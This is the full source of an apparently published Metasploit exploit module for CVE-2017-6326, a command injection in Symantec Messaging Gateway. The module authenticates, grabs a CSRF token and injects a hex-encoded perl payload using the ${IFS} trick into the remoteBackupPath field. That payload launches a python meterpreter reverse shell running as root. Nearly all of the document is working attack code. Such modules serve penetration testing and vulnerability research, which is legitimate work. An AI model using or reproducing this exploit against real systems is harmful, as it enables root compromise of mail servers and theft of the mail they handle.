Symantec Messaging Gateway Remote Code Execution

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Symantec Messaging Gateway Remote Code Execution",  
'Description' => %q{  
This module exploits the command injection vulnerability of Symantec Messaging Gateway product. An authenticated user can execute a  
terminal command under the context of the web server user which is root.  
  
backupNow.do endpoint takes several user inputs and then pass them to the internal service which is responsible for executing  
operating system command. One of the user input is being passed to the service without proper validation. That cause an command  
injection vulnerability. But given parameters, such a SSH ip address, port and credentials are validated before executing terminal  
command. Thus, you need to configure your own SSH service and set the required parameter during module usage.  
  
This module was tested against Symantec Messaging Gateway 10.6.2-7.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Mehmet Ince <[email protected]>' # author & msf module  
],  
'References' =>  
[  
['URL', 'https://pentest.blog/unexpected-journey-5-from-weak-password-to-rce-on-symantec-messaging-gateway/'],  
['CVE', '2017-6326']  
],  
'DefaultOptions' =>  
{  
'SSL' => true,  
'RPORT' => 443,  
'Payload' => 'python/meterpreter/reverse_tcp'  
},  
'Platform' => ['python'],  
'Arch' => ARCH_PYTHON,  
'Targets' => [[ 'Automatic', { }]],  
'Privileged' => true,  
'DisclosureDate' => "Apr 26 2017",  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
Opt::RPORT(443),  
OptString.new('USERNAME', [true, 'The username to login as']),  
OptString.new('PASSWORD', [true, 'The password to login with']),  
OptString.new('SSH_ADDRESS', [true, 'The ip address of your SSH service']),  
OptInt.new('SSH_PORT', [true, 'The port of your SSH service', 22]),  
OptString.new('SSH_USERNAME', [true, 'The username of your SSH service']),  
OptString.new('SSH_PASSWORD', [true, 'The password of your SSH service']),  
OptString.new('TARGETURI', [true, 'The base path to Symantec Messaging Gateway', '/'])  
]  
)  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def ssh_address  
datastore['SSH_ADDRESS']  
end  
  
def ssh_port  
datastore['SSH_PORT']  
end  
  
def ssh_username  
datastore['SSH_USERNAME']  
end  
  
def ssh_password  
datastore['SSH_PASSWORD']  
end  
  
def auth  
print_status("Performing authentication...")  
  
sid = ''  
last_login = ''  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'brightmail', 'viewLogin.do')  
})  
  
if res && !res.get_cookies.empty?  
last_login = res.get_hidden_inputs.first['lastlogin'] || ''  
sid = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''  
else  
fail_with(Failure::Unknown, "Didn't get cookie-set header from response.")  
end  
  
cookie = ''  
  
# Performing authentication  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'brightmail', 'login.do'),  
'headers' => {  
'Referer' => "https://#{peer}/brightmail/viewLogin.do",  
'Connection' => 'keep-alive'  
},  
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",  
'vars_post' => {  
'lastlogin' => last_login,  
'userLocale' => '',  
'lang' => 'en_US',  
'username' => username,  
'password' => password,  
'loginBtn' => 'Login'  
}  
})  
  
if res &&res.body =~ /Logged in/  
cookie = res.get_cookies.scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0]  
print_good("Awesome..! Authenticated with #{username}:#{password}")  
else  
fail_with(Failure::Unknown, 'Credentials are not valid.')  
end  
  
cookie  
end  
  
def get_csrf_token(cookie)  
  
print_status('Capturing CSRF token')  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'backupNow.do'),  
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}",  
})  
  
csrf_token = nil  
if res && res.code == 200  
match = res.body.match(/type="hidden" name="symantec.brightmail.key.TOKEN" value="(\w+)"\/>/)  
if match  
csrf_token = match[1]  
print_good("CSRF token is : #{csrf_token}")  
else  
fail_with(Failure::Unknown, 'There is no CSRF token at HTTP response.')  
end  
else  
fail_with(Failure::Unknown, 'Something went wrong.')  
end  
  
csrf_token  
end  
  
def exploit  
  
cookie = auth  
csrf_token = get_csrf_token(cookie)  
  
# I want to get meterpreter instead of cmd shell but SPACE and some other characters are blacklisted.  
# Note that, we always have one SPACE at the beginning of python payload. e.g: import base64,sys;  
# Here is the thing, use perl payload with ${IFS} technique and deliver the real payload inside of it :)  
# So we gonna execute a perl payload on server side which will execute our meterpreter python payload.  
  
cmd = "python -c \"#{payload.encoded}\""  
final_payload = cmd.to_s.unpack("H*").first  
  
p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"  
  
# Ok. We are ready to go  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'brightmail', 'admin', 'backup', 'performBackupNow.do'),  
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{cookie}",  
'vars_post' => {  
'pageReuseFor' => 'backup_now',  
'id' => '',  
'symantec.brightmail.key.TOKEN' => csrf_token,  
'backupData' => 'full',  
'customType' => 'configuration',  
'includeIncidentMessages' => 'true',  
'includeLogData' => 'true',  
'backupTo' => '2',  
'remoteBackupProtocol' => 'SCP',  
'remoteBackupAddress' => ssh_address,  
'remoteBackupPort' => ssh_port,  
'remoteBackupPath' => "tmp$(#{p})",  
'requiresRemoteAuthentication' => 'true',  
'remoteBackupUsername' => ssh_username,  
'remoteBackupPassword' => ssh_password,  
}  
})  
end  
  
end  
`